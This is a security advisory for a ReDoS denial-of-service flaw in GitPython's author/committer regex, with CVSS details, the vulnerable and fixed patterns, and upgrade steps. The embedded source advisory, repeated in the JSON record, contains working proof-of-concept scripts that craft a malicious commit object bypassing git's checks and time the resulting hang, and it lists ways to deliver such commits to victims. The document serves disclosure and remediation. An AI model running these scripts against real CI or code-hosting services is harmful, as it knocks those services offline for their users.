CVE-2026-87819: GitPython Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-g5vv-9gxw-82hx
CVSS 7.5
CWE-400 CWE-1333
Published
Advisory Summary

CVE-2026-87819 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting GitPython libraries in the PyPI ecosystem. The issue involves denial of service via catastrophic backtracking (redos) in actor.name_email_regex — commit author/committer field parsing. Remediation is available by upgrading affected packages to version 3.1.60.

CVE-2026-87819 at a Glance

CVE Identifier CVE-2026-87819
GHSA Identifier GHSA-g5vv-9gxw-82hx
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product GitPython
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-87819

To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

GitPython fixed: 3.1.60
pip install GitPython>=3.1.60
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show GitPython

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-87819, inspect your installed packages using pip:

pip show GitPython

Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.60), your application is affected.

Note: The pip show GitPython command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary GitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the `author` or `committer` header of a git commit object that contains a long string with an unterminated `<` (no matching `>`), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length. A single crafted commit object can block any GitPython API call that reads `.author` or `.committer` for **over two minutes per invocation**, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories. --- ### Details **Vulnerable file and line:** `git/util.py`, line 863: ```python name_email_regex = re.compile(r"(.*) <(.*?)>") ``` This regex is evaluated inside `Actor._from_string()` (line 909) every time GitPython resolves a commit's `.author` or `.committer` property. **Full call chain — from public API to vulnerable sink:** commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE `author_line` is decoded directly from the raw bytes of the git commit object with **no length limit, character restriction, or timeout** applied at any point before reaching the regex engine. The same chain is triggered by: - `commit.author` - `commit.committer` - `repo.iter_commits()` - `repo.blame()` - Any web service / CI tool that displays or processes commit metadata **Why this pattern backtracks catastrophically:** The pattern `(.*) <(.*?)>` contains an unbounded greedy group `(.*)` followed by a literal space and `<`. When the input is a long string that contains `<` but no closing `>`, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns. **Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):** | Author field length (bytes) | Time to resolve `.author` | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | **200,000** | **150.488 s** | Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes **no practical size limit** on author name fields in the object format. **How the malicious object reaches a victim:** The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into `.git/objects/`. `git cat-file -t <sha>` confirms it is a valid `commit` type and git's own read-side tools display it without error. Only git's write-side tooling (`git commit --author`, `git update-index`, explicit `git fsck`) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include: - A git server with `receive.fsckObjects = false` (common in self-hosted deployments) - A `.git` directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level --- ### PoC **Environment used for testing:** - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04 **Script 1 — craft the malicious repository (`craft_malicious_repo.py`):** ```python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/. Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes> """ import hashlib, os, subprocess, sys, zlib def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True) def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>") sys.exit(1) target_dir, payload_size = sys.argv[1], int(sys.argv[2]) os.makedirs(target_dir, exist_ok=True) run(["git", "init", "--quiet"], cwd=target_dir) run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir) run(["git", "config", "user.name", "PoC"], cwd=target_dir) with open(os.path.join(target_dir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=target_dir) tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip() malicious_name = "A" * payload_size # Key: author field contains a '<' with no closing '>' author_line = f"author {malicious_name} <unterminated 1691999972 -0700" committer_line = "committer PoC <poc@example.com> 1691999972 -0700" message = "ReDoS PoC commit" commit_content = ( f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n" ).encode() header = f"commit {len(commit_content)}\x00".encode() store = header + commit_content sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store) objdir = os.path.join(target_dir, ".git", "objects", sha[:2]) os.makedirs(objdir, exist_ok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed) run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir) print(f"Malicious commit sha : {sha}") print(f"Payload size : {payload_size} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=target_dir, capture_output=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}") if __name__ == "__main__": main() ``` **Script 2 — trigger the vulnerability (`trigger_redos.py`):** ```python #!/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor._from_string() -> Actor.name_email_regex.search(). Usage: python3 trigger_redos.py <repo_dir> <commit_sha> """ import sys, time, git def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>") sys.exit(1) repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2]) print("Accessing commit.author — triggers Actor._from_string()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0 print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered") if __name__ == "__main__": main() ``` **Execution and observed output:** $ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit $ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE **Docker reproduction (fully isolated environment):** ```bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash # Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython pip install -e /work/GitPython python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000 # note the SHA printed, then: python3 /work/poc/trigger_redos.py /work/victim-repo <SHA> ``` The `python:3.8-bookworm` base image matches the one used in GitPython's own `fuzzing/local-dev-helpers/Dockerfile`. --- ### Impact **Who is affected:** Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include: - **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it. - **Code-hosting or code-review web services** that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata. - **Security or compliance scanners** that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker. **Severity of impact:** A 200 KB author field blocks a process for ~150 seconds per single `.author` access. When `iter_commits()` or `blame` are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability. --- ### Suggested Fix Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude `<` and `>` from the name group, removing the ambiguity that forces O(n²) backtracking: ```python # git/util.py, line 863 # Before (vulnerable): name_email_regex = re.compile(r"(.*) <(.*?)>") # After (fixed — identical output for all well-formed input): name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>") ``` Because the name group can no longer itself contain a `<` character, the engine has exactly one candidate position to try when a closing `>` is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (`Name <email>`) never contain `<` or `>` in either field, so this change produces identical results for all valid input. As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

CVE-2026-87819 Affected GitPython Versions

1 component(s)
Fixed Versions:
3.1.60
Product / Package Ecosystem Affected Versions Fixed Version
GitPython
PyPI
< 3.1.60
3.1.60

References

Frequently Asked Questions

What is CVE-2026-87819?
CVE-2026-87819 is a security vulnerability in GitPython involving Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing under CWE-400: Uncontrolled Resource Consumption.
Which GitPython versions are affected?
Affected versions include releases prior to 3.1.60 across affected packages: GitPython.
What version fixes CVE-2026-87819?
Upgrading to 3.1.60 (or the latest patched release for your respective branch) resolves the vulnerability.
Is GitPython affected?
Yes, GitPython is affected in releases prior to 3.1.60. Upgrade your dependency to 3.1.60 or later.
What is the CVSS score of CVE-2026-87819?
CVE-2026-87819 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-87819?
CVE-2026-87819 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-87819?
Run the dependency tree command: 'pip show GitPython'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g5vv-9gxw-82hx",
  "modified" : "2026-09-30T23:29:14Z",
  "published" : "2026-09-30T23:29:14Z",
  "aliases" : [ "CVE-2026-87819" ],
  "summary" : "GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing",
  "details" : "### Summary\n\nGitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863)\nis vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of\nService). When GitPython parses the `author` or `committer` header of a git commit\nobject that contains a long string with an unterminated `<` (no matching `>`), the\nPython regex engine enters quadratic backtracking, causing complete single-threaded\nCPU exhaustion proportional to the square of the input length.\n\nA single crafted commit object can block any GitPython API call that reads\n`.author` or `.committer` for **over two minutes per invocation**, enabling denial\nof service against CI runners, code-hosting backends, repository-scanning\npipelines, or any service that processes commits from third-party or untrusted\nrepositories.\n\n---\n\n### Details\n\n**Vulnerable file and line:**\n\n`git/util.py`, line 863:\n\n```python\nname_email_regex = re.compile(r\"(.*) <(.*?)>\")\n```\n\nThis regex is evaluated inside `Actor._from_string()` (line 909) every time\nGitPython resolves a commit's `.author` or `.committer` property.\n\n**Full call chain — from public API to vulnerable sink:**\n\n\n\n\ncommit.author # any ordinary GitPython API call\n└── git/objects/commit.py:917\nCommit._deserialize()\n└── git/objects/util.py:341\nparse_actor_and_date(author_line)\n└── git/util.py:909\nActor._from_string(string)\n└── Actor.name_email_regex.search(string) ← VULNERABLE\n\n\n\n\n`author_line` is decoded directly from the raw bytes of the git commit object with\n**no length limit, character restriction, or timeout** applied at any point before\nreaching the regex engine. The same chain is triggered by:\n- `commit.author`\n- `commit.committer`\n- `repo.iter_commits()`\n- `repo.blame()`\n- Any web service / CI tool that displays or processes commit metadata\n\n**Why this pattern backtracks catastrophically:**\n\nThe pattern `(.*) <(.*?)>` contains an unbounded greedy group `(.*)` followed by\na literal space and `<`. When the input is a long string that contains `<` but no\nclosing `>`, the regex engine must try every possible split position for the greedy\ngroup — O(n²) candidate positions for a string of length n — each of which then\ndrives the inner lazy group into further sub-match attempts. This is the\nwell-documented \"catastrophic backtracking\" failure mode for this family of\npatterns.\n\n**Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):**\n\n| Author field length (bytes) | Time to resolve `.author` |\n|-----------------------------|--------------------------|\n| 1,000  | 0.0035 s |\n| 5,000  | 0.084 s  |\n| 10,000 | 0.341 s  |\n| 20,000 | 1.525 s  |\n| 40,000 | 5.963 s  |\n| 60,000 | 13.360 s |\n| 80,000 | 23.871 s |\n| **200,000** | **150.488 s** |\n\nEach doubling of input size roughly quadruples processing time (e.g. 40,000 →\n80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself\nimposes **no practical size limit** on author name fields in the object format.\n\n**How the malicious object reaches a victim:**\n\nThe PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git\nloose object written directly into `.git/objects/`. `git cat-file -t <sha>` confirms\nit is a valid `commit` type and git's own read-side tools display it without error.\nOnly git's write-side tooling (`git commit --author`, `git update-index`,\nexplicit `git fsck`) applies the sanity checks that would reject a malformed author\nline. Delivery paths that bypass those checks include:\n\n- A git server with `receive.fsckObjects = false` (common in self-hosted deployments)\n- A `.git` directory shipped as a tarball, backup, or zip archive\n- A git bundle file\n- Any automated mirror or import tool that operates at the object level\n\n---\n\n### PoC\n\n**Environment used for testing:**\n- GitPython 3.1.59, installed in editable mode from source (no code modifications)\n- Python 3.12.3, git 2.43.0, Ubuntu 24.04\n\n**Script 1 — craft the malicious repository (`craft_malicious_repo.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a git repository with one commit whose 'author' field is a large\nstring containing an unterminated '<'. Bypasses git's write-side sanity\nchecks by writing the raw object directly into .git/objects/.\n\nUsage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>\n\"\"\"\nimport hashlib, os, subprocess, sys, zlib\n\ndef run(cmd, cwd):\n    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>\")\n        sys.exit(1)\n\n    target_dir, payload_size = sys.argv[1], int(sys.argv[2])\n\n    os.makedirs(target_dir, exist_ok=True)\n    run([\"git\", \"init\", \"--quiet\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.email\", \"poc@example.com\"], cwd=target_dir)\n    run([\"git\", \"config\", \"user.name\", \"PoC\"], cwd=target_dir)\n\n    with open(os.path.join(target_dir, \"README.txt\"), \"w\") as f:\n        f.write(\"GitPython ReDoS PoC repository\\n\")\n    run([\"git\", \"add\", \"README.txt\"], cwd=target_dir)\n    tree_sha = run([\"git\", \"write-tree\"], cwd=target_dir).stdout.strip()\n\n    malicious_name = \"A\" * payload_size\n    # Key: author field contains a '<' with no closing '>'\n    author_line    = f\"author {malicious_name} <unterminated 1691999972 -0700\"\n    committer_line = \"committer PoC <poc@example.com> 1691999972 -0700\"\n    message        = \"ReDoS PoC commit\"\n\n    commit_content = (\n        f\"tree {tree_sha}\\n{author_line}\\n{committer_line}\\n\\n{message}\\n\"\n    ).encode()\n\n    header     = f\"commit {len(commit_content)}\\x00\".encode()\n    store      = header + commit_content\n    sha        = hashlib.sha1(store).hexdigest()\n    compressed = zlib.compress(store)\n\n    objdir = os.path.join(target_dir, \".git\", \"objects\", sha[:2])\n    os.makedirs(objdir, exist_ok=True)\n    with open(os.path.join(objdir, sha[2:]), \"wb\") as f:\n        f.write(compressed)\n\n    run([\"git\", \"update-ref\", \"refs/heads/master\", sha], cwd=target_dir)\n\n    print(f\"Malicious commit sha : {sha}\")\n    print(f\"Payload size         : {payload_size} bytes\")\n    verify = subprocess.run(\n        [\"git\", \"cat-file\", \"-t\", sha],\n        cwd=target_dir, capture_output=True, text=True\n    )\n    print(f\"git cat-file -t confirms: {verify.stdout.strip()}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Script 2 — trigger the vulnerability (`trigger_redos.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpens the repository with GitPython and times commit.author access,\nwhich triggers Actor._from_string() -> Actor.name_email_regex.search().\n\nUsage: python3 trigger_redos.py <repo_dir> <commit_sha>\n\"\"\"\nimport sys, time, git\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} <repo_dir> <commit_sha>\")\n        sys.exit(1)\n\n    repo   = git.Repo(sys.argv[1])\n    commit = repo.commit(sys.argv[2])\n\n    print(\"Accessing commit.author — triggers Actor._from_string()...\")\n    t0     = time.time()\n    author = commit.author          # ← this single line causes the hang\n    elapsed = time.time() - t0\n\n    print(f\"Author name length : {len(author.name)} chars\")\n    print(f\"Elapsed            : {elapsed:.3f} seconds\")\n    print(\"RESULT: VULNERABLE\" if elapsed > 5 else \"RESULT: not triggered\")\n\nif __name__ == \"__main__\":\n    main()\n```\n**Execution and observed output:**\n\n\n\n\n$ python3 craft_malicious_repo.py /tmp/victim-repo 200000\nMalicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de\nPayload size : 200000 bytes\ngit cat-file -t confirms: commit\n\n$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de\nAccessing commit.author — triggers Actor._from_string()...\nAuthor name length : 200014 chars\nElapsed : 150.488 seconds\nRESULT: VULNERABLE\n\n\n\n**Docker reproduction (fully isolated environment):**\n\n```bash\ndocker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash\n\n# Inside the container:\napt-get update && apt-get install -y git\ngit clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython\npip install -e /work/GitPython\n\npython3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000\n# note the SHA printed, then:\npython3 /work/poc/trigger_redos.py /work/victim-repo <SHA>\n```\n\nThe `python:3.8-bookworm` base image matches the one used in GitPython's own\n`fuzzing/local-dev-helpers/Dockerfile`.\n\n---\n\n### Impact\n\n**Who is affected:**\n\nAny application that uses GitPython to parse commits from a source it does not\nfully control. High-risk deployments include:\n\n- **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)\n  that clone and inspect third-party pull requests — one malicious commit in a PR\n  can stall every worker that processes it.\n- **Code-hosting or code-review web services** that render commit author information\n  — a single crafted push blocks every page render or API response that touches that\n  commit's metadata.\n- **Security or compliance scanners** that walk repository history across many\n  repositories — one crafted object in any repository exhausts a scanner worker.\n\n**Severity of impact:**\n\nA 200 KB author field blocks a process for ~150 seconds per single `.author`\naccess. When `iter_commits()` or `blame` are used, every commit in a history\ntraversal can be independently crafted, multiplying the total hang time by the\nnumber of commits processed. There is no confidentiality or integrity impact —\nthis is a pure availability / resource-exhaustion vulnerability.\n\n---\n\n### Suggested Fix\n\nReplace the vulnerable pattern with one that cannot backtrack catastrophically.\nThe minimal, behavior-preserving fix is to exclude `<` and `>` from the name\ngroup, removing the ambiguity that forces O(n²) backtracking:\n\n```python\n# git/util.py, line 863\n# Before (vulnerable):\nname_email_regex = re.compile(r\"(.*) <(.*?)>\")\n\n# After (fixed — identical output for all well-formed input):\nname_email_regex = re.compile(r\"([^<>]*) <([^<>]*)>\")\n```\n\nBecause the name group can no longer itself contain a `<` character, the engine\nhas exactly one candidate position to try when a closing `>` is absent — and fails\nin O(n) time instead of O(n²). Legitimate actor strings (`Name <email>`) never\ncontain `<` or `>` in either field, so this change produces identical results for\nall valid input.\n\nAs defense in depth, independently of the regex fix, bounding the maximum number\nof characters GitPython will attempt to parse in an author/committer line (e.g.\nrejecting strings longer than 4096 bytes before passing them to any regex) would\nfurther limit the blast radius of any future ReDoS class in this parser.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.60"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.59"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/pull/2215"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-30T23:29:14Z",
    "nvd_published_at" : null
  }
}